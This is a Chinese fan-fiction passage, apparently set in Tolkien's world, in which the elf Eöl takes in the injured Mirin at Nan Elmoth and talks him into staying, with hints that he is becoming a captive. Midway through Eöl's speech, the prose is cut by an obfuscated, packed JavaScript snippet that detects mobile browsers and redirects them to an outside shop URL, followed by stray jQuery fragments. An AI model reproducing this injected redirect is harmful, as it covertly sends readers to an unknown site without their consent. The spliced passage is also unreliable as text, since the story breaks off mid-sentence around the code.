弥林艰难地睁开沉重的眼帘，身下是柔软的皮毛，覆盖在身上的织物光滑冰凉，带着草木的清香。
他躺在一张宽大的床铺上，发现自己身处一个精心修饰巨大石窟中，穹顶垂下苍白的树根。墙壁上镶嵌着未经打磨的矿石，在跃动的炉火映照下，反射出点点幽光。
他四处观察着，注意到角落里的锻造炉，一旁的石台上散落着各种工具和未经雕琢的石头。
墙壁上悬挂着一些深色的晶体和矿石标本，还有一些形态奇特的骨骼碎片，被仔细地清洁和摆放在一旁。光线主要来自房间中央的石砌壁炉，火焰在其中燃烧着，驱散了洞穴本身的阴冷。
弥林动了动，发现身上因奔跑和跌倒造成的擦伤和淤青已经消失，有人为他敷上了清凉的草药。衣物也被人换成一件略显宽大的灰色长袍。
就在这时，一个身影无声无息的从房间另一侧的阴影中缓缓走出。
那是一个精灵，皮肤是久不见日光的苍白，长发如墨瀑般垂落，衬得那张脸愈发没有血色。眼眸是深灰色的，穿着一袭简单的黑色长袍，行动间几乎不发出任何声响。
“你醒了。”精灵开口，声音低沉，“感觉如何？”
弥林挣扎着想坐起来，身体却感到虚弱乏力。那精灵几步上前扶了他一把，在他身后垫上一个软垫。他的手指冰凉，触碰时让弥林瑟缩了一下。
“我……”弥林开口，声音干涩，“这里是哪里？是你救了我吗？”
“这里是南埃尔莫斯，我的家。”精灵回答，他退开一步，保持着一个不亲近也不显疏远的距离。“我在森林发现了你，你当时倒在地上昏迷不醒。”他说话的方式很奇特，每个词都像是经过仔细斟酌后才缓缓吐出。
感激之情瞬间涌上弥林心头，他又一次被陌生人救助了，就像巴蓝帮助了他一样。
“谢谢你，真的非常感谢。”弥林由衷地说，脸上因为激动泛起红晕，“我叫弥林，我的同伴还在等我。我必须立刻回去，我们说好今天要一起出发的。”
他试图起身，一阵眩晕却让他重新跌坐回去。他的心中非常焦虑，不知道自己在黑暗中昏迷了多久，是否已经错过了约定的时间。
埃欧尔的眼神几不可察地暗了暗，但脸上那层平静的面具没有丝毫松动。他走到一张石桌前，倒了一杯清水递给弥林。
“不必着急，弥林。”他的语气依旧温和，却带着一种不容置疑的意味，“你身体还很虚弱。南埃尔莫斯广阔无边，道路错综复杂，连飞鸟都时常迷失方向。以你现在的状态，贸然离开只会再次迷路。”
“可是他们一定在等我回去……”
埃欧尔走向壁炉，背对着弥林，凝视着跳动的火焰。“也许他们还在等待，也许已经离开，谁又能知道呢？”他的声音平静得近乎冷酷，“但有一点我可以肯定，此刻的你连走出这片森林都做不到。”
他缓缓转过身，深灰色的眼眸注视着弥林。“你或许并不清楚外面的情况，森林之外远比你想象的危险。奥克近来活动频繁，它们在寻找落单的猎物。还有被黑暗侵蚀的野兽，它们潜伏在阴影里伺机而动。你独自一人游走在荒野中，无异于自寻死路。”
弥林下意识地抱紧双臂，埃欧尔描述的画面让他感到一阵寒意。他想起了之前救助绿精灵时看到的战斗痕迹，芬罗德也曾隐晦提及来自北方的威胁。难道外面的世界真的如此险恶？
“可是……”弥林还想争辩，声音却微弱下去，焦急和无力感交织在一起。他既担心错过与巴蓝的约定，又害怕自己无法独自应对危险。
埃欧尔叹了口气，他走到窗边，那只是一个开凿在石壁上的洞口，望出去只有浓得化不开的黑暗。
“我独自居住在这片森林里已经很久了，”埃欧尔的声音变得飘忽，像是在自言自语，又像是在对弥林倾诉，“久到几乎忘记了交谈的声音。南埃尔莫斯是我的壁垒，它将外界的纷扰与危险隔绝在外，但也将其他东西隔绝在外。”
他回过头看向弥林，那里面翻涌着复杂的情绪。
“你的到来像是一道从未照进这里的阳光，你的光芒让我感受到了久违的宁静。我恳求你不要这么快就离开，请你暂且留下
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17432150|200931||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
。等你完全恢复体力，也许到那时，我们就能打听到你同伴的消息，而且……”
埃欧尔微微偏过头，似乎有些难以启齿，“就当是怜悯一个孤独太久的心灵，你的陪伴对我而言是恩赐。”
这番话语彻底击中了弥林内心最柔软的地方。眼前这位好心的精灵救了他的性命，为他疗伤和提供庇护，而对方所求的仅仅是陪伴。
善良的天性让他无法拒绝这样的请求。也许埃欧尔说得对，他现在确实太虚弱了。留下几天，等身体好些，同时也能拜托埃欧尔帮忙打听消息，这样才是是更明智的选择。
弥林脸上的急切慢慢褪去，他点了点头，“我明白了，谢谢你的收留和告诫。那么……我就暂且再多打扰你几日。”
埃欧尔的嘴角向上弯了一下，他重新走回床边，将一条更厚的毛毯盖在弥林身上。
“很好，”他的声音恢复了最初的平稳，“你需要休息。这里很安全，你可以把这里当作暂时的容身之所。”
弥林顺从地躺下，目光再次扫过这个奇特的居所。角落的阴影里堆放着一些锁链和镣铐，锻造炉旁的架子上除了工具，还有一些密封的陶罐，里面不知装着什么。
这些细节有些怪异，但在弥林此刻充满感激和同情的心里，都被合理地解释为一位独居精灵工匠的特殊癖好，他将这些隐约的不安归咎于自己初来乍到的不适应。
他看着埃欧尔走向锻造炉的背影，那身影在跳动的火光和弥林自身的光芒交织下，显得既孤独又神秘。
“等你好些了，”埃欧尔没有回头，声音在石屋中回荡，“我可以带你看看我的收藏，你会发现黑暗之中亦有其独特美感。”
弥林没有回答，他只是静静地躺着，感受着身下皮毛的柔软。想着等过几天身体好了，一定要请埃欧尔帮忙寻找巴蓝的踪迹。这个希望支撑着他，让他暂时压下了心头的不安。
他完全不知道，刚刚做出的善意决定，已经将他引向了一个远比森林本身更加无法挣脱的囚笼。窗外的黑暗似乎更加浓重了，悄然吞噬了所有可能通往光明的路径。